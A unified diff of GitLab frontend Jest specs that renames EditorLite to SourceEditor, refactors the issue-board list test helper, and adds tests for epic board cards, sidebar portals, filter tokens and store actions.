--- a/spec/frontend/blob_edit/blob_bundle_spec.js
+++ b/spec/frontend/blob_edit/blob_bundle_spec.js
@@ -3,21 +3,21 @@ import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import waitForPromises from 'helpers/wait_for_promises';
import blobBundle from '~/blob_edit/blob_bundle';
-import EditorLite from '~/blob_edit/edit_blob';
+import SourceEditor from '~/blob_edit/edit_blob';
jest.mock('~/blob_edit/edit_blob');
describe('BlobBundle', () => {
- it('does not load EditorLite by default', () => {
+ it('does not load SourceEditor by default', () => {
blobBundle();
- expect(EditorLite).not.toHaveBeenCalled();
+ expect(SourceEditor).not.toHaveBeenCalled();
});
- it('loads EditorLite for the edit screen', async () => {
+ it('loads SourceEditor for the edit screen', async () => {
setFixtures(`<div class="js-edit-blob-form"></div>`);
blobBundle();
await waitForPromises();
- expect(EditorLite).toHaveBeenCalled();
+ expect(SourceEditor).toHaveBeenCalled();
});
describe('No Suggest Popover', () => {
diff --git a/spec/frontend/blob_edit/edit_blob_spec.js b/spec/frontend/blob_edit/edit_blob_spec.js
index 3134feedcf3..2be72ded0a2 100644
--- a/spec/frontend/blob_edit/edit_blob_spec.js
+++ b/spec/frontend/blob_edit/edit_blob_spec.js
@@ -1,12 +1,12 @@
import waitForPromises from 'helpers/wait_for_promises';
import EditBlob from '~/blob_edit/edit_blob';
-import EditorLite from '~/editor/editor_lite';
-import { FileTemplateExtension } from '~/editor/extensions/editor_file_template_ext';
-import { EditorMarkdownExtension } from '~/editor/extensions/editor_markdown_ext';
+import { FileTemplateExtension } from '~/editor/extensions/source_editor_file_template_ext';
+import { EditorMarkdownExtension } from '~/editor/extensions/source_editor_markdown_ext';
+import SourceEditor from '~/editor/source_editor';
-jest.mock('~/editor/editor_lite');
-jest.mock('~/editor/extensions/editor_markdown_ext');
-jest.mock('~/editor/extensions/editor_file_template_ext');
+jest.mock('~/editor/source_editor');
+jest.mock('~/editor/extensions/source_editor_markdown_ext');
+jest.mock('~/editor/extensions/source_editor_file_template_ext');
describe('Blob Editing', () => {
const useMock = jest.fn();
@@ -24,7 +24,7 @@ describe('Blob Editing', () => {
<textarea id="file-content"></textarea>
</form>
`);
- jest.spyOn(EditorLite.prototype, 'createInstance').mockReturnValue(mockInstance);
+ jest.spyOn(SourceEditor.prototype, 'createInstance').mockReturnValue(mockInstance);
});
afterEach(() => {
EditorMarkdownExtension.mockClear();
diff --git a/spec/frontend/boards/board_card_inner_spec.js b/spec/frontend/boards/board_card_inner_spec.js
index 15ea5d4eec4..87f9a68f5dd 100644
--- a/spec/frontend/boards/board_card_inner_spec.js
+++ b/spec/frontend/boards/board_card_inner_spec.js
@@ -1,7 +1,7 @@
-import { GlLabel, GlLoadingIcon } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { GlLabel, GlLoadingIcon, GlTooltip } from '@gitlab/ui';
import { range } from 'lodash';
import Vuex from 'vuex';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import BoardBlockedIcon from '~/boards/components/board_blocked_icon.vue';
import BoardCardInner from '~/boards/components/board_card_inner.vue';
import { issuableTypes } from '~/boards/constants';
@@ -35,8 +35,16 @@ describe('Board card component', () => {
let store;
const findBoardBlockedIcon = () => wrapper.find(BoardBlockedIcon);
-
- const createStore = () => {
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findEpicCountablesTotalTooltip = () => wrapper.findComponent(GlTooltip);
+ const findEpicCountables = () => wrapper.findByTestId('epic-countables');
+ const findEpicCountablesBadgeIssues = () => wrapper.findByTestId('epic-countables-counts-issues');
+ const findEpicCountablesBadgeWeight = () => wrapper.findByTestId('epic-countables-weight-issues');
+ const findEpicBadgeProgress = () => wrapper.findByTestId('epic-progress');
+ const findEpicCountablesTotalWeight = () => wrapper.findByTestId('epic-countables-total-weight');
+ const findEpicProgressTooltip = () => wrapper.findByTestId('epic-progress-tooltip-content');
+
+ const createStore = ({ isEpicBoard = false } = {}) => {
store = new Vuex.Store({
...defaultStore,
state: {
@@ -45,16 +53,14 @@ describe('Board card component', () => {
},
getters: {
isGroupBoard: () => true,
- isEpicBoard: () => false,
+ isEpicBoard: () => isEpicBoard,
isProjectBoard: () => false,
},
});
};
const createWrapper = (props = {}) => {
- createStore();
-
- wrapper = mount(BoardCardInner, {
+ wrapper = mountExtended(BoardCardInner, {
store,
propsData: {
list,
@@ -88,6 +94,7 @@ describe('Board card component', () => {
weight: 1,
};
+ createStore();
createWrapper({ item: issue, list });
});
@@ -414,7 +421,108 @@ describe('Board card component', () => {
},
});
- expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+ });
+
+ describe('is an epic board', () => {
+ const descendantCounts = {
+ closedEpics: 0,
+ closedIssues: 0,
+ openedEpics: 0,
+ openedIssues: 0,
+ };
+
+ const descendantWeightSum = {
+ closedIssues: 0,
+ openedIssues: 0,
+ };
+
+ beforeEach(() => {
+ createStore({ isEpicBoard: true });
+ });
+
+ it('should render if the item has issues', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ descendantCounts,
+ descendantWeightSum,
+ hasIssues: true,
+ },
+ });
+
+ expect(findEpicCountables().exists()).toBe(true);
+ });
+
+ it('should not render if the item does not have issues', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ descendantCounts,
+ descendantWeightSum,
+ hasIssues: false,
+ },
+ });
+
+ expect(findEpicCountablesBadgeIssues().exists()).toBe(false);
+ });
+
+ it('shows render item countBadge, weights, and progress correctly', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ descendantCounts: {
+ ...descendantCounts,
+ openedIssues: 1,
+ },
+ descendantWeightSum: {
+ closedIssues: 10,
+ openedIssues: 5,
+ },
+ hasIssues: true,
+ },
+ });
+
+ expect(findEpicCountablesBadgeIssues().text()).toBe('1');
+ expect(findEpicCountablesBadgeWeight().text()).toBe('15');
+ expect(findEpicBadgeProgress().text()).toBe('67%');
+ });
+
+ it('does not render progress when weight is zero', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ descendantCounts: {
+ ...descendantCounts,
+ openedIssues: 1,
+ },
+ descendantWeightSum,
+ hasIssues: true,
+ },
+ });
+
+ expect(findEpicBadgeProgress().exists()).toBe(false);
+ });
+
+ it('renders the tooltip with the correct data', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ descendantCounts,
+ descendantWeightSum: {
+ closedIssues: 10,
+ openedIssues: 5,
+ },
+ hasIssues: true,
+ },
+ });
+
+ const tooltip = findEpicCountablesTotalTooltip();
+ expect(tooltip).toBeDefined();
+
+ expect(findEpicCountablesTotalWeight().text()).toBe('15');
+ expect(findEpicProgressTooltip().text()).toBe('10 of 15 weight completed');
});
});
});
diff --git a/spec/frontend/boards/board_list_helper.js b/spec/frontend/boards/board_list_helper.js
index 915b470df8d..c440c110094 100644
--- a/spec/frontend/boards/board_list_helper.js
+++ b/spec/frontend/boards/board_list_helper.js
@@ -1,34 +1,57 @@
-/* global List */
-/* global ListIssue */
-import MockAdapter from 'axios-mock-adapter';
-import Sortable from 'sortablejs';
-import Vue from 'vue';
-import BoardList from '~/boards/components/board_list_deprecated.vue';
-import '~/boards/models/issue';
-import '~/boards/models/list';
-import store from '~/boards/stores';
-import boardsStore from '~/boards/stores/boards_store';
-import axios from '~/lib/utils/axios_utils';
-import { listObj, boardsMockInterceptor } from './mock_data';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import Vuex from 'vuex';
-window.Sortable = Sortable;
+import BoardCard from '~/boards/components/board_card.vue';
+import BoardList from '~/boards/components/board_list.vue';
+import BoardNewIssue from '~/boards/components/board_new_issue.vue';
+import defaultState from '~/boards/stores/state';
+import { mockList, mockIssuesByListId, issues } from './mock_data';
export default function createComponent({
- done,
listIssueProps = {},
componentProps = {},
listProps = {},
-}) {
- const el = document.createElement('div');
+ actions = {},
+ getters = {},
+ provide = {},
+ state = defaultState,
+ stubs = {
+ BoardNewIssue,
+ BoardCard,
+ },
+} = {}) {
+ const localVue = createLocalVue();
+ localVue.use(Vuex);
- document.body.appendChild(el);
- const mock = new MockAdapter(axios);
- mock.onAny().reply(boardsMockInterceptor);
- boardsStore.create();
+ const store = new Vuex.Store({
+ state: {
+ boardItemsByListId: mockIssuesByListId,
+ boardItems: issues,
+ pageInfoByListId: {
+ 'gid://gitlab/List/1': { hasNextPage: true },
+ 'gid://gitlab/List/2': {},
+ },
+ listsFlags: {
+ 'gid://gitlab/List/1': {},
+ 'gid://gitlab/List/2': {},
+ },
+ selectedBoardItems: [],
+ ...state,
+ },
+ getters: {
+ isGroupBoard: () => false,
+ isProjectBoard: () => true,
+ isEpicBoard: () => false,
+ ...getters,
+ },
+ actions,
+ });
- const BoardListComp = Vue.extend(BoardList);
- const list = new List({ ...listObj, ...listProps });
- const issue = new ListIssue({
+ const list = {
+ ...mockList,
+ ...listProps,
+ };
+ const issue = {
title: 'Testing',
id: 1,
iid: 1,
@@ -36,31 +59,31 @@ export default function createComponent({
labels: [],
assignees: [],
...listIssueProps,
- });
- if (!Object.prototype.hasOwnProperty.call(listProps, 'issuesSize')) {
- list.issuesSize = 1;
+ };
+ if (!Object.prototype.hasOwnProperty.call(listProps, 'issuesCount')) {
+ list.issuesCount = 1;
}
- list.issues.push(issue);
- const component = new BoardListComp({
- el,
+ const component = shallowMount(BoardList, {
+ localVue,
store,
propsData: {
disabled: false,
list,
- issues: list.issues,
- loading: false,
+ boardItems: [issue],
+ canAdminList: true,
...componentProps,
},
provide: {
groupId: null,
rootPath: '/',
+ weightFeatureAvailable: false,
+ boardWeight: null,
+ canAdminList: true,
+ ...provide,
},
- }).$mount();
-
- Vue.nextTick(() => {
- done();
+ stubs,
});
- return { component, mock };
+ return component;
}
diff --git a/spec/frontend/boards/board_list_spec.js b/spec/frontend/boards/board_list_spec.js
index 76629c96f22..a3b1810ab80 100644
--- a/spec/frontend/boards/board_list_spec.js
+++ b/spec/frontend/boards/board_list_spec.js
@@ -1,95 +1,9 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import Vuex from 'vuex';
import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
+import createComponent from 'jest/boards/board_list_helper';
import BoardCard from '~/boards/components/board_card.vue';
-import BoardList from '~/boards/components/board_list.vue';
-import BoardNewIssue from '~/boards/components/board_new_issue.vue';
import eventHub from '~/boards/eventhub';
-import defaultState from '~/boards/stores/state';
-import { mockList, mockIssuesByListId, issues, mockIssues } from './mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-const actions = {
- fetchItemsForList: jest.fn(),
-};
-
-const createStore = (state = defaultState) => {
- return new Vuex.Store({
- state,
- actions,
- getters: {
- isGroupBoard: () => false,
- isProjectBoard: () => true,
- isEpicBoard: () => false,
- },
- });
-};
-
-const createComponent = ({
- listIssueProps = {},
- componentProps = {},
- listProps = {},
- state = {},
-} = {}) => {
- const store = createStore({
- boardItemsByListId: mockIssuesByListId,
- boardItems: issues,
- pageInfoByListId: {
- 'gid://gitlab/List/1': { hasNextPage: true },
- 'gid://gitlab/List/2': {},
- },
- listsFlags: {
- 'gid://gitlab/List/1': {},
- 'gid://gitlab/List/2': {},
- },
- selectedBoardItems: [],
- ...state,
- });
- const list = {
- ...mockList,
- ...listProps,
- };
- const issue = {
- title: 'Testing',
- id: 1,
- iid: 1,
- confidential: false,
- labels: [],
- assignees: [],
- ...listIssueProps,
- };
- if (!Object.prototype.hasOwnProperty.call(listProps, 'issuesCount')) {
- list.issuesCount = 1;
- }
-
- const component = shallowMount(BoardList, {
- localVue,
- propsData: {
- disabled: false,
- list,
- boardItems: [issue],
- canAdminList: true,
- ...componentProps,
- },
- store,
- provide: {
- groupId: null,
- rootPath: '/',
- weightFeatureAvailable: false,
- boardWeight: null,
- canAdminList: true,
- },
- stubs: {
- BoardCard,
- BoardNewIssue,
- },
- });
-
- return component;
-};
+import { mockIssues } from './mock_data';
describe('Board list component', () => {
let wrapper;
@@ -101,7 +15,6 @@ describe('Board list component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('When Expanded', () => {
@@ -176,6 +89,10 @@ describe('Board list component', () => {
});
describe('load more issues', () => {
+ const actions = {
+ fetchItemsForList: jest.fn(),
+ };
+
beforeEach(() => {
wrapper = createComponent({
listProps: { issuesCount: 25 },
@@ -184,6 +101,7 @@ describe('Board list component', () => {
it('does not load issues if already loading', () => {
wrapper = createComponent({
+ actions,
state: { listsFlags: { 'gid://gitlab/List/1': { isLoadingMore: true } } },
});
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
diff --git a/spec/frontend/boards/boards_util_spec.js b/spec/frontend/boards/boards_util_spec.js
index 289905a1948..d45b6e35a45 100644
--- a/spec/frontend/boards/boards_util_spec.js
+++ b/spec/frontend/boards/boards_util_spec.js
@@ -1,4 +1,35 @@
-import { filterVariables } from '~/boards/boards_util';
+import { formatIssueInput, filterVariables } from '~/boards/boards_util';
+
+describe('formatIssueInput', () => {
+ it('correctly merges boardConfig into the issue', () => {
+ const boardConfig = {
+ labels: [
+ {
+ type: 'GroupLabel',
+ id: 44,
+ },
+ ],
+ assigneeId: '55',
+ milestoneId: 66,
+ weight: 1,
+ };
+
+ const issueInput = {
+ labelIds: ['gid://gitlab/GroupLabel/5'],
+ projectPath: 'gitlab-org/gitlab-test',
+ id: 'gid://gitlab/Issue/11',
+ };
+
+ const result = formatIssueInput(issueInput, boardConfig);
+ expect(result).toEqual({
+ projectPath: 'gitlab-org/gitlab-test',
+ id: 'gid://gitlab/Issue/11',
+ labelIds: ['gid://gitlab/GroupLabel/5', 'gid://gitlab/GroupLabel/44'],
+ assigneeIds: ['gid://gitlab/User/55'],
+ milestoneId: 'gid://gitlab/Milestone/66',
+ });
+ });
+});
describe('filterVariables', () => {
it.each([
diff --git a/spec/frontend/boards/components/board_column_spec.js b/spec/frontend/boards/components/board_column_spec.js
index 4e523d636cd..f1964daa8b2 100644
--- a/spec/frontend/boards/components/board_column_spec.js
+++ b/spec/frontend/boards/components/board_column_spec.js
@@ -15,6 +15,10 @@ describe('Board Column Component', () => {
wrapper = null;
});
+ const initStore = () => {
+ store = createStore();
+ };
+
const createComponent = ({ listType = ListType.backlog, collapsed = false } = {}) => {
const boardId = '1';
@@ -29,8 +33,6 @@ describe('Board Column Component', () => {
listMock.assignee = {};
}
- store = createStore();
-
wrapper = shallowMount(BoardColumn, {
store,
propsData: {
@@ -47,6 +49,10 @@ describe('Board Column Component', () => {
const isCollapsed = () => wrapper.classes('is-collapsed');
describe('Given different list types', () => {
+ beforeEach(() => {
+ initStore();
+ });
+
it('is expandable when List Type is `backlog`', () => {
createComponent({ listType: ListType.backlog });
@@ -79,4 +85,31 @@ describe('Board Column Component', () => {
expect(wrapper.element.scrollIntoView).toHaveBeenCalled();
});
});
+
+ describe('on mount', () => {
+ beforeEach(async () => {
+ initStore();
+ jest.spyOn(store, 'dispatch').mockImplementation();
+ });
+
+ describe('when list is collapsed', () => {
+ it('does not call fetchItemsForList when', async () => {
+ createComponent({ collapsed: true });
+
+ await nextTick();
+
+ expect(store.dispatch).toHaveBeenCalledTimes(0);
+ });
+ });
+
+ describe('when the list is not collapsed', () => {
+ it('calls fetchItemsForList when', async () => {
+ createComponent({ collapsed: false });
+
+ await nextTick();
+
+ expect(store.dispatch).toHaveBeenCalledWith('fetchItemsForList', { listId: 300 });
+ });
+ });
+ });
});
diff --git a/spec/frontend/boards/components/board_content_sidebar_spec.js b/spec/frontend/boards/components/board_content_sidebar_spec.js
index 10d739c65f5..8a8250205d0 100644
--- a/spec/frontend/boards/components/board_content_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_content_sidebar_spec.js
@@ -1,5 +1,6 @@
import { GlDrawer } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { MountingPortal } from 'portal-vue';
import Vuex from 'vuex';
import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import { stubComponent } from 'helpers/stub_component';
@@ -9,7 +10,8 @@ import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.v
import { ISSUABLE } from '~/boards/constants';
import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
-import { mockIssue, mockIssueGroupPath, mockIssueProjectPath } from '../mock_data';
+import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_widget.vue';
+import { mockActiveIssue, mockIssue, mockIssueGroupPath, mockIssueProjectPath } from '../mock_data';
describe('BoardContentSidebar', () => {
let wrapper;
@@ -25,7 +27,7 @@ describe('BoardContentSidebar', () => {
},
getters: {
activeBoardItem: () => {
- return { ...mockIssue, epic: null };
+ return { ...mockActiveIssue, epic: null };
},
groupPathForActiveIssue: () => mockIssueGroupPath,
projectPathForActiveIssue: () => mockIssueProjectPath,
@@ -90,6 +92,14 @@ describe('BoardContentSidebar', () => {
expect(wrapper.findComponent(GlDrawer).exists()).toBe(true);
});
+ it('confirms we render MountingPortal', () => {
+ expect(wrapper.find(MountingPortal).props()).toMatchObject({
+ mountTo: '#js-right-sidebar-portal',
+ append: true,
+ name: 'board-content-sidebar',
+ });
+ });
+
it('does not render GlDrawer when isSidebarOpen is false', () => {
createStore({ mockGetters: { isSidebarOpen: () => false } });
createComponent();
@@ -101,6 +111,10 @@ describe('BoardContentSidebar', () => {
expect(wrapper.findComponent(GlDrawer).props('open')).toBe(true);
});
+ it('renders SidebarTodoWidget', () => {
+ expect(wrapper.findComponent(SidebarTodoWidget).exists()).toBe(true);
+ });
+
it('renders BoardSidebarLabelsSelect', () => {
expect(wrapper.findComponent(BoardSidebarLabelsSelect).exists()).toBe(true);
});
@@ -138,7 +152,7 @@ describe('BoardContentSidebar', () => {
expect(toggleBoardItem).toHaveBeenCalledTimes(1);
expect(toggleBoardItem).toHaveBeenCalledWith(expect.any(Object), {
- boardItem: { ...mockIssue, epic: null },
+ boardItem: { ...mockActiveIssue, epic: null },
sidebarType: ISSUABLE,
});
});
diff --git a/spec/frontend/boards/components/board_content_spec.js b/spec/frontend/boards/components/board_content_spec.js
index 8c1a7bd3947..5a799b6388e 100644
--- a/spec/frontend/boards/components/board_content_spec.js
+++ b/spec/frontend/boards/components/board_content_spec.js
@@ -1,5 +1,6 @@
import { GlAlert } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Draggable from 'vuedraggable';
import Vuex from 'vuex';
import EpicsSwimlanes from 'ee_component/boards/components/epics_swimlanes.vue';
@@ -8,8 +9,7 @@ import BoardColumnDeprecated from '~/boards/components/board_column_deprecated.v
import BoardContent from '~/boards/components/board_content.vue';
import { mockLists, mockListsWithModel } from '../mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const actions = {
moveList: jest.fn(),
@@ -44,7 +44,6 @@ describe('BoardContent', () => {
...state,
});
wrapper = shallowMount(BoardContent, {
- localVue,
propsData: {
lists: mockListsWithModel,
disabled: false,
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index 80d740458dc..3966c3e6b87 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -12,8 +12,8 @@ import { createStore } from '~/boards/stores';
import { visitUrl } from '~/lib/utils/url_utility';
jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
visitUrl: jest.fn().mockName('visitUrlMock'),
- stripFinalUrlSegment: jest.requireActual('~/lib/utils/url_utility').stripFinalUrlSegment,
}));
const currentBoard = {
diff --git a/spec/frontend/boards/components/board_settings_sidebar_spec.js b/spec/frontend/boards/components/board_settings_sidebar_spec.js
index 464331b6e30..20a08be6c19 100644
--- a/spec/frontend/boards/components/board_settings_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_settings_sidebar_spec.js
@@ -3,6 +3,7 @@ import { GlDrawer, GlLabel } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
+import { MountingPortal } from 'portal-vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import BoardSettingsSidebar from '~/boards/components/board_settings_sidebar.vue';
@@ -51,6 +52,16 @@ describe('BoardSettingsSidebar', () => {
wrapper.destroy();
});
+ it('finds a MountingPortal component', () => {
+ createComponent();
+
+ expect(wrapper.find(MountingPortal).props()).toMatchObject({
+ mountTo: '#js-right-sidebar-portal',
+ append: true,
+ name: 'board-settings-sidebar',
+ });
+ });
+
describe('when sidebarType is "list"', () => {
it('finds a GlDrawer component', () => {
createComponent();
diff --git a/spec/frontend/boards/components/issue_board_filtered_search_spec.js b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
new file mode 100644
index 00000000000..0e3cf59901e
--- /dev/null
+++ b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
@@ -0,0 +1,44 @@
+import { shallowMount } from '@vue/test-utils';
+import BoardFilteredSearch from '~/boards/components/board_filtered_search.vue';
+import IssueBoardFilteredSpec from '~/boards/components/issue_board_filtered_search.vue';
+import { BoardType } from '~/boards/constants';
+import issueBoardFilters from '~/boards/issue_board_filters';
+import { mockTokens } from '../mock_data';
+
+describe('IssueBoardFilter', () => {
+ let wrapper;
+
+ const createComponent = ({ initialFilterParams = {} } = {}) => {
+ wrapper = shallowMount(IssueBoardFilteredSpec, {
+ provide: { initialFilterParams },
+ props: { fullPath: '', boardType: '' },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('finds BoardFilteredSearch', () => {
+ expect(wrapper.find(BoardFilteredSearch).exists()).toBe(true);
+ });
+
+ it.each([[BoardType.group], [BoardType.project]])(
+ 'when boardType is %s we pass the correct tokens to BoardFilteredSearch',
+ (boardType) => {
+ const { fetchAuthors, fetchLabels } = issueBoardFilters({}, '', boardType);
+
+ const tokens = mockTokens(fetchLabels, fetchAuthors);
+
+ expect(wrapper.find(BoardFilteredSearch).props('tokens').toString()).toBe(
+ tokens.toString(),
+ );
+ },
+ );
+ });
+});
diff --git a/spec/frontend/boards/mock_data.js b/spec/frontend/boards/mock_data.js
index bcaca9522e4..6ac4db8cdaa 100644
--- a/spec/frontend/boards/mock_data.js
+++ b/spec/frontend/boards/mock_data.js
@@ -5,6 +5,9 @@ import Vue from 'vue';
import '~/boards/models/list';
import { ListType } from '~/boards/constants';
import boardsStore from '~/boards/stores/boards_store';
+import { __ } from '~/locale';
+import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
+import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
export const boardObj = {
id: 1,
@@ -179,6 +182,7 @@ export const mockIssue = {
export const mockActiveIssue = {
...mockIssue,
+ fullId: 'gid://gitlab/Issue/436',
id: 436,
iid: '27',
subscribed: false,
@@ -287,7 +291,7 @@ export const setMockEndpoints = (opts = {}) => {
export const mockList = {
id: 'gid://gitlab/List/1',
- title: 'Backlog',
+ title: 'Open',
position: -Infinity,
listType: 'backlog',
collapsed: false,
@@ -526,3 +530,44 @@ export const mockMoveData = {
originalIssue: { foo: 'bar' },
...mockMoveIssueParams,
};
+
+export const mockTokens = (fetchLabels, fetchAuthors) => [
+ {
+ icon: 'labels',
+ title: __('Label'),
+ type: 'label_name',
+ operators: [
+ { value: '=', description: 'is' },
+ { value: '!=', description: 'is not' },
+ ],
+ token: LabelToken,
+ unique: false,
+ symbol: '~',
+ fetchLabels,
+ },
+ {
+ icon: 'pencil',
+ title: __('Author'),
+ type: 'author_username',
+ operators: [
+ { value: '=', description: 'is' },
+ { value: '!=', description: 'is not' },
+ ],
+ symbol: '@',
+ token: AuthorToken,
+ unique: true,
+ fetchAuthors,
+ },
+ {
+ icon: 'user',
+ title: __('Assignee'),
+ type: 'assignee_username',
+ operators: [
+ { value: '=', description: 'is' },
+ { value: '!=', description: 'is not' },
+ ],
+ token: AuthorToken,
+ unique: true,
+ fetchAuthors,
+ },
+];
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index b28412f2127..5e16e389ddc 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -492,6 +492,63 @@ describe('moveList', () => {
});
describe('updateList', () => {
+ const listId = 'gid://gitlab/List/1';
+ const createState = (boardItemsByListId = {}) => ({
+ fullPath: 'gitlab-org',
+ fullBoardId: 'gid://gitlab/Board/1',
+ boardType: 'group',
+ disabled: false,
+ boardLists: [{ type: 'closed' }],
+ issuableType: issuableTypes.issue,
+ boardItemsByListId,
+ });
+
+ describe('when state doesnt have list items', () => {
+ it('calls fetchItemsByList', async () => {
+ const dispatch = jest.fn();
+
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ updateBoardList: {
+ errors: [],
+ list: {
+ id: listId,
+ },
+ },
+ },
+ });
+
+ await actions.updateList({ commit: () => {}, state: createState(), dispatch }, { listId });
+
+ expect(dispatch.mock.calls).toEqual([['fetchItemsForList', { listId }]]);
+ });
+ });
+
+ describe('when state has list items', () => {
+ it('doesnt call fetchItemsByList', async () => {
+ const commit = jest.fn();
+ const dispatch = jest.fn();
+
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ updateBoardList: {
+ errors: [],
+ list: {
+ id: listId,
+ },
+ },
+ },
+ });
+
+ await actions.updateList(
+ { commit, state: createState({ [listId]: [] }), dispatch },
+ { listId },
+ );
+
+ expect(dispatch.mock.calls).toEqual([]);
+ });
+ });
+
it('should commit UPDATE_LIST_FAILURE mutation when API returns an error', (done) => {
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
@@ -502,19 +559,10 @@ describe('updateList', () => {
},
});
- const state = {
- fullPath: 'gitlab-org',
- fullBoardId: 'gid://gitlab/Board/1',
- boardType: 'group',
- disabled: false,
- boardLists: [{ type: 'closed' }],
- issuableType: issuableTypes.issue,
- };
-
testAction(
actions.updateList,
{ listId: 'gid://gitlab/List/1', position: 1 },
- state,
+ createState(),
[{ type: types.UPDATE_LIST_FAILURE }],
[],
done,
@@ -667,6 +715,19 @@ describe('fetchItemsForList', () => {
[listId]: pageInfo,
};
+ describe('when list id is undefined', () => {
+ it('does not call the query', async () => {
+ jest.spyOn(gqlClient, 'query').mockResolvedValue(queryResponse);
+
+ await actions.fetchItemsForList(
+ { state, getters: () => {}, commit: () => {} },
+ { listId: undefined },
+ );
+
+ expect(gqlClient.query).toHaveBeenCalledTimes(0);
+ });
+ });
+
it('should commit mutations REQUEST_ITEMS_FOR_LIST and RECEIVE_ITEMS_FOR_LIST_SUCCESS on success', (done) => {
jest.spyOn(gqlClient, 'query').mockResolvedValue(queryResponse);
@@ -1111,16 +1172,13 @@ describe('updateIssueOrder', () => {
describe('setAssignees', () => {
const node = { username: 'name' };
- const projectPath = 'h/h';
- const refPath = `${projectPath}#3`;
- const iid = '1';
describe('when succeeds', () => {
it('calls the correct mutation with the correct values', (done) => {
testAction(
actions.setAssignees,
- [node],
- { activeBoardItem: { iid, referencePath: refPath }, commit: () => {} },
+ { assignees: [node], iid: '1' },
+ { commit: () => {} },
[
{
type: 'UPDATE_BOARD_ITEM_BY_ID',
diff --git a/spec/frontend/boards/stores/getters_spec.js b/spec/frontend/boards/stores/getters_spec.js
index e7efb21bee5..c0774dd3ae1 100644
--- a/spec/frontend/boards/stores/getters_spec.js
+++ b/spec/frontend/boards/stores/getters_spec.js
@@ -92,7 +92,7 @@ describe('Boards - Getters', () => {
it.each`
id | expected
${'1'} | ${'issue'}
- ${''} | ${{}}
+ ${''} | ${{ id: '', iid: '', fullId: '' }}
`('returns $expected when $id is passed to state', ({ id, expected }) => {
const state = { boardItems: { 1: 'issue' }, activeId: id };
diff --git a/spec/frontend/boards/stores/mutations_spec.js b/spec/frontend/boards/stores/mutations_spec.js
index 5b38f04e77b..37f0969a39a 100644
--- a/spec/frontend/boards/stores/mutations_spec.js
+++ b/spec/frontend/boards/stores/mutations_spec.js
@@ -35,6 +35,7 @@ describe('Board Store Mutations', () => {
describe('SET_INITIAL_BOARD_DATA', () => {
it('Should set initial Boards data to state', () => {
+ const allowSubEpics = true;
const boardId = 1;
const fullPath = 'gitlab-org';
const boardType = 'group';
@@ -45,6 +46,7 @@ describe('Board Store Mutations', () => {
const issuableType = issuableTypes.issue;
mutations[types.SET_INITIAL_BOARD_DATA](state, {
+ allowSubEpics,
boardId,
fullPath,
boardType,
@@ -53,6 +55,7 @@ describe('Board Store Mutations', () => {
issuableType,
});
+ expect(state.allowSubEpics).toBe(allowSubEpics);
expect(state.boardId).toEqual(boardId);
expect(state.fullPath).toEqual(fullPath);
expect(state.boardType).toEqual(boardType);
diff --git a/spec/frontend/branches/components/delete_branch_button_spec.js b/spec/frontend/branches/components/delete_branch_button_spec.js
index acbc83a9bdc..b029f34c3d7 100644
--- a/spec/frontend/branches/components/delete_branch_button_spec.js
+++ b/spec/frontend/branches/components/delete_branch_button_spec.js
@@ -34,7 +34,7 @@ describe('Delete branch button', () => {
expect(findDeleteButton().attributes()).toMatchObject({
title: 'Delete branch',
- variant: 'danger',
+ variant: 'default',
icon: 'remove',
});
});
@@ -44,7 +44,7 @@ describe('Delete branch button', () => {
expect(findDeleteButton().attributes()).toMatchObject({
title: 'Delete protected branch',
- variant: 'danger',
+ variant: 'default',
icon: 'remove',
});
});
